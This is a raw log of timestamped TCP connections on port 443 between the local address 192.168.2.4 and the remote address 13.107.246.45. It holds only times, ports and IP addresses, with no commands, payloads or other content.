Oct 28, 2024 08:18:35.294785976 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.294838905 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.294846058 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.294902086 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.295020103 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.295061111 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.295077085 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.295093060 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.297688961 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.297715902 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.297795057 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.298177004 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.298192024 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.300478935 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.300723076 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.300791979 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.300826073 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.300834894 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.300841093 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.300846100 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.303406954 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.303436041 CET	443	49939	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.303529978 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.303692102 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.303715944 CET	443	49939	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.369122982 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.369191885 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.369252920 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.369265079 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.369312048 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.369596004 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.369611979 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.369618893 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.369625092 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.373480082 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.373522043 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.373600960 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.373796940 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.373810053 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.036129951 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.037154913 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.037189960 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.037764072 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.037770987 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.151326895 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.151878119 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.151932955 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.152868986 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.152883053 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.164967060 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.164994955 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.165040016 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.165047884 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.165115118 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.165277004 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.165297985 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.165312052 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.165318966 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.169040918 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.169078112 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.169233084 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.169452906 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.169462919 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.288966894 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.289077044 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.289175034 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.289408922 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.289460897 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.289479017 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.289498091 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.292601109 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.292655945 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.292757988 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.292937040 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.292963982 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.906630039 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.907356977 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.907383919 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:36.907850981 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:36.907855988 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.037221909 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.037379980 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.037561893 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.037648916 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.037648916 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.037673950 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.037687063 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.040910006 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.040945053 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.041115046 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.041233063 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.041245937 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.046942949 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.047452927 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.047487974 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.047924995 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.047930956 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.179162979 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.179260969 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.179378986 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.179671049 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.179692984 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.179703951 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.179714918 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.183084011 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.183137894 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.183243990 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.183466911 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.183482885 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.797730923 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.798263073 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.798286915 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.798763990 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.798770905 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.915018082 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.915712118 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.915746927 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.916182995 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.916188955 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.930994034 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.931073904 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.931122065 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.931302071 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.931339979 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.931363106 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.931370974 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.934272051 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.934317112 CET	443	49945	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:37.934462070 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.934549093 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:37.934561014 CET	443	49945	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:38.045609951 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:38.045635939 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:38.045700073 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:38.045728922 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:38.045767069 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:38.045918941 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:38.045953989 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:38.045974016 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:38.045981884 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:38.048713923 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:38.048743963 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:38.048870087 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:38.049077034 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:38.049092054 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:38.899903059 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:38.899986982 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:38.900085926 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:38.900085926 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:38.904503107 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:38.904558897 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:38.904668093 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:38.904886961 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:38.904900074 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:39.199786901 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:39.199830055 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:39.635710955 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:39.636394024 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:39.636434078 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:39.636971951 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:39.636979103 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:39.766966105 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:39.767055035 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:39.767112970 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:39.767282963 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:39.767304897 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:39.767333984 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:39.767342091 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:39.770001888 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:39.770055056 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:39.770138025 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:39.770262003 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:39.770273924 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:40.513509989 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:40.514137030 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:40.514185905 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:40.514730930 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:40.514736891 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:40.645531893 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:40.645577908 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:40.645632982 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:40.645646095 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:40.645682096 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:40.645945072 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:40.645977020 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:40.645992994 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:40.645998001 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:40.649384975 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:40.649446011 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:40.649544001 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:40.649763107 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:40.649780989 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:41.393109083 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:41.396878004 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:41.396915913 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:41.397351027 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:41.397361040 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:41.524847031 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:41.524938107 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:41.525036097 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:41.525298119 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:41.525324106 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:41.525341034 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:41.525347948 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:41.528059006 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:41.528107882 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:41.528172970 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:41.528357029 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:41.528368950 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:42.265074015 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:42.270023108 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:42.270153999 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:42.270576000 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:42.270593882 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:42.396272898 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:42.396353960 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:42.396411896 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:42.396440029 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:42.396469116 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:42.396517038 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:42.396675110 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:42.396692991 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:42.396704912 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:42.396709919 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:42.400238991 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:42.400279045 CET	443	49951	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:42.400350094 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:42.400540113 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:42.400557995 CET	443	49951	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.231230974 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.231300116 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.231307983 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.231336117 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.233841896 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.233890057 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.233978033 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.234143972 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.234150887 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.234175920 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.234251022 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.234302044 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.234311104 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.234324932 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.234360933 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.234525919 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.234548092 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.234610081 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.234697104 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.234730959 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.234797955 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.234817028 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.234822989 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.234837055 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.963769913 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.963835955 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.965349913 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.965358973 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.965642929 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.966393948 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.967797995 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.967870951 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.968511105 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.968595028 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.968892097 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.968898058 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.969217062 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.969866991 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.969882011 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.969922066 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.970704079 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.971512079 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.982566118 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.982662916 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.983779907 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:58.983793974 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.984133959 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:58.984863043 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.011327982 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.011373997 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.015332937 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.027335882 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.094288111 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.094314098 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.094348907 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.094362974 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.094377995 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.094425917 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.094608068 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.094628096 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.094635010 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.094643116 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.095962048 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.096049070 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.096096992 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.096124887 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.096165895 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.096219063 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.096366882 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.096366882 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.096406937 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.096414089 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.097980022 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.098014116 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.098062992 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.098083973 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.098089933 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.098126888 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.098134995 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.098146915 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.098196983 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.098577023 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.098582983 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.098598003 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.098603964 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.098620892 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.098648071 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.099154949 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.099194050 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.099258900 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.099390030 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.099411011 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.100784063 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.100796938 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.100867987 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.101011992 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.101027012 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.117213964 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.117289066 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.117341042 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.117527008 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.117527008 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.117549896 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.117572069 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.122427940 CET	49959	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.122456074 CET	443	49959	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.122533083 CET	49959	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.122710943 CET	49959	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.122733116 CET	443	49959	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.824616909 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.825262070 CET	49956	443	192.168.2.4	13.107.246.45
